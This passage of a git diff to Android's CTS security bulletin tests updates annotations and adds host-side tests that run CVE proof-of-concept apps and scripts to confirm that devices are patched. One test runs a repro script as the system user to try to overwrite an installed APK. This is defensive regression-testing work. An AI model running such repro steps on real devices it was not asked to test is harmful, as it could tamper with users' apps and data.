         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
index 43632ec..614447c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,8 +28,8 @@
      * b/150226994
      * Vulnerability Behaviour: SIGSEGV in surfaceflinger
      */
-    @SecurityTest(minPatchLevel = "2020-07")
     @Test
+    @AsbSecurityTest(cveBugId = 150226994)
     public void testPocCVE_2020_0226() throws Exception {
         String processPatternStrings[] = {"surfaceflinger"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0226", null, getDevice(),
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 4c2b91d..2ba62bf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
@@ -29,8 +29,8 @@
      * b/151644303
      * Vulnerability Behaviour: SIGSEGV in mediaserver
      */
-    @SecurityTest(minPatchLevel = "2020-08")
     @Test
+    @AsbSecurityTest(cveBugId = 151644303)
     public void testPocCVE_2020_0243() throws Exception {
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0243", getDevice());
         testConfig.config = new CrashUtils.Config().setProcessPatterns("mediaserver");
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 2d5237a..695d8dc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,8 +31,8 @@
      * b/150159669
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-09")
     @Test
+    @AsbSecurityTest(cveBugId = 150159669)
     public void testPocCVE_2020_0381() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index 2e1ca03..d2a4ca5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,8 +29,8 @@
      * b/150160279
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-09")
     @Test
+    @AsbSecurityTest(cveBugId = 150160279)
     public void testPocCVE_2020_0383() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index 2f7b5d9..f89ec7d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,8 +31,8 @@
      * b/150159906
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-09")
     @Test
+    @AsbSecurityTest(cveBugId = 150159906)
     public void testPocCVE_2020_0384() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index e7aefeb..19109b8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -31,8 +31,8 @@
      * b/150160041
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2020-09")
     @Test
+    @AsbSecurityTest(cveBugId = 150160041)
     public void testPocCVE_2020_0385() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.media"));
         String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
index 4132917..e3f6c26 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11164.java
@@ -17,7 +17,7 @@
 
 import static org.junit.Assert.*;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
     /**
      * CVE-2020-11164
      */
-    @SecurityTest(minPatchLevel = "2020-10")
     @Test
+    @AsbSecurityTest(cveBugId = 160605595)
     public void testPocCVE_2020_11164() throws Exception {
         String result =
                 AdbUtils.runCommandLine("pm list package com.qualcomm.qti.perfdump", getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
index f26c94f..a15335a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11173.java
@@ -1,19 +1,18 @@
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-@SecurityTest
 public class CVE_2020_11173 extends SecurityTestCase {
 
     /**
      * CVE-2020-11173
      */
-    @SecurityTest(minPatchLevel = "2020-10")
     @Test
+    @AsbSecurityTest(cveBugId = 160605709)
     public void testPocCVE_2020_11173() throws Exception {
         if (containsDriver(getDevice(), "/dev/adsprpc-smd")
                 && containsDriver(getDevice(), "/dev/ion")) {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
index f54bc72..9664abf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_11282.java
@@ -3,7 +3,7 @@
 import static org.junit.Assert.*;
 import static org.junit.Assume.*;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -15,7 +15,7 @@
      * CVE-2020-11282
      */
     @Test
-    @SecurityTest(minPatchLevel = "2021-02")
+    @AsbSecurityTest(cveBugId = 161374239)
     public void testPocCVE_2020_11282() throws Exception {
         assumeTrue(containsDriver(getDevice(), "/dev/kgsl-3d0"));
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-11282", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index 8e603a6..80de289 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -29,8 +29,8 @@
      * b/182917768
      *
      */
-    @SecurityTest(minPatchLevel = "2021-05")
     @Test
+    @AsbSecurityTest(cveBugId = 175451767)
     public void testPocCVE_2020_29661() throws Exception {
         AdbUtils.runPocNoOutput("CVE-2020-29661", getDevice(),60);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index dd2aff8..a6ae4f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -19,7 +19,7 @@
 import android.platform.test.annotations.AppModeInstant;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -49,8 +49,8 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel = "2020-09")
     @AppModeFull
+    @AsbSecurityTest(cveBugId = 154015447)
     public void testRunDeviceTestsPassesFull() throws Exception {
         installPackage();
         Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
index 5248019..2cd9f7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,8 +28,8 @@
      * b/170968514
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2021-01")
     @Test
+    @AsbSecurityTest(cveBugId = 170968514)
     public void testPocCVE_2021_0313() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0313", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index 3d3f4a8..fa4b66b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,8 +29,8 @@
      * b/170732441
      * Vulnerability Behaviour: SIGSEGV in storaged
      */
-    @SecurityTest(minPatchLevel = "2021-02")
     @Test
+    @AsbSecurityTest(cveBugId = 170732441)
     public void testPocCVE_2021_0330() throws Exception {
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
         testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 935b601..af3503c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,8 +28,8 @@
      * b/178725766
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2021-04")
     @Test
+    @AsbSecurityTest(cveBugId = 178725766)
     public void testPocCVE_2021_0430() throws Exception {
         pocPusher.only64();
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
index 25802a0..fb7638c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0439.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/174243830
      * Vulnerability Behaviour: SIGSEGV in system_server
      */
-    @SecurityTest(minPatchLevel = "2021-04")
     @Test
+    @AsbSecurityTest(cveBugId = 174243830)
     public void testPocCVE_2021_0439() throws Exception {
         String processPatternStrings[] = {"system_server"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0439", null, getDevice(),
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index d2dc169..1224dc2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/179687208
      * Vulnerability Behavior: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2021-05")
     @Test
+    @AsbSecurityTest(cveBugId = 179687208)
     public void testPocCVE_2021_0473() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         pocPusher.only64();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
new file mode 100644
index 0000000..81e559a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.hamcrest.CoreMatchers.*;
+
+/**
+ * Test that collects test results from test package android.security.cts.CVE_2021_0481.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0481 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0481.apk";
+
+    private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
+    private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
+
+    //defined originally as
+    //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+    //in com.android.settings.users.EditUserPhotoController class
+    private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+    private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 172939189)
+    @AppModeFull
+    public void testRunDeviceTest() throws Exception {
+        AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
+        String cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+        AdbUtils.runCommandLine(cmd, getDevice());
+
+        installPackage();
+
+        //ensure the screen is woken up.
+        //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen)
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
+
+        //Check if TEST_FILE_NAME has been copied by "Evil activity"
+        //If the file has been copied then it means the vulnerability is active so the test fails.
+        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
+        String result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
+        CLog.i(cmd + " -->" + result);
+        assertThat(result, not(is("0")));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index e07840c..4d2acac 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/173720767
      * Vulnerability Behavior: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2021-05")
     @Test
+    @AsbSecurityTest(cveBugId = 173720767)
     public void testPocCVE_2021_0484() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0484", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index 905971a..db0a1b2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
@@ -44,8 +44,8 @@
     /**
      * b/174047492
      */
-    @SecurityTest(minPatchLevel = "2021-06")
     @Test
+    @AsbSecurityTest(cveBugId = 174047492)
     public void testPocCVE_2021_0523() throws Exception {
         final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
         String apkName = "CVE-2021-0523.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
new file mode 100644
index 0000000..9b592bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.hamcrest.CoreMatchers.*;
+
+/**
+ * Test installs sample app and then tries to overwrite *.apk file
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0691 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
+    private static final String TEST_APP = "CVE-2021-0691.apk";
+    private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
+    private static final String DEVICE_APP_DIR = "/data/app/";
+    private static final String SCRIPT_NAME = "cve_2021_0691.sh";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 188554048)
+    @AppModeFull
+    public void testRunDeviceTest() throws Exception {
+        String cmd;
+        String result;
+
+        //push repro script and install test app
+        AdbUtils.pushResource("/" + SCRIPT_NAME, DEVICE_TMP_DIR + SCRIPT_NAME, getDevice());
+        AdbUtils.runCommandLine("chmod +x " + DEVICE_TMP_DIR + SCRIPT_NAME, getDevice());
+        installPackage();
+
+        //see repro script in log
+        cmd = "cd " + DEVICE_TMP_DIR + "; cat " + SCRIPT_NAME;
+        CLog.i("repro script: " + cmd);
+        CLog.i(AdbUtils.runCommandLine(cmd, getDevice()));
+
+        /*
+         look for a location of test package dir
+         for example: /data/app/
+         ~~stRisM1TaNKYDnrHq9PHJg==/android.security.cts.CVE_2021_0691-borrWKTczXhO86vR9vwNJg==
+        */
+        cmd = "find " + DEVICE_APP_DIR + " -name \"*" + TEST_PKG + "*==\"";
+        String appDir =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
+        CLog.i("look for appDir: " + cmd);
+        CLog.i("appDir=" + appDir);
+
+        //run repro steps as 'system' user (su 1000)
+        cmd = "su 1000 " + DEVICE_TMP_DIR + SCRIPT_NAME + " " + appDir;
+        result =  AdbUtils.runCommandLine(cmd, getDevice());
+        CLog.i("command: " + cmd);
+        CLog.i("result: " + result);
+
+        //compare base.apk against aaa
+        //if differs test passes
+        cmd = "echo aaa | cmp -s " + appDir + "/base.apk; echo $?";
+        result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
+        CLog.i("command: " + cmd);
+        CLog.i("result: " + result);
+        assertThat(result, not(is("0")));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
new file mode 100644
index 0000000..b0f19ad
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_29368 extends SecurityTestCase {
+
+   /**
+     * b/174738029
+     *
+     */
+    @AsbSecurityTest(cveBugId = 174738029)
+    @Test
+    public void testPocCVE_2021_29368() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index b0f0ddc..367c766 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -15,7 +15,7 @@
  */
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      * b/26323455
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-04")
+    @AsbSecurityTest(cveBugId = 26323455)
     public void testPocCVE_2016_2419() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-2419", getDevice(), 60);
@@ -41,7 +41,7 @@
     *  b/26324307
     */
     @Test
-    @SecurityTest(minPatchLevel = "2016-04")
+    @AsbSecurityTest(cveBugId = 26324307)
     public void testPocCVE_2016_0844() throws Exception {
         AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
     }
@@ -50,7 +50,7 @@
      * b/26593930
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-04")
+    @AsbSecurityTest(cveBugId = 26593930)
     public void testPocCVE_2016_2412() throws Exception {
         AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index 0895607..f185352 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
      *  b/27555981
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-05")
+    @AsbSecurityTest(cveBugId = 27555981)
     public void testPocCVE_2016_2460() throws Exception {
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-2460", getDevice(), 60);
@@ -42,7 +42,7 @@
      *  b/27275324
      */
     @Test
-    @SecurityTest(minPatchLevel = "2016-05")
+    @AsbSecurityTest(cveBugId = 27275324)
     public void testPocCVE_2015_1805() throws Exception {
       AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
index 58c604e..6f7d26b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
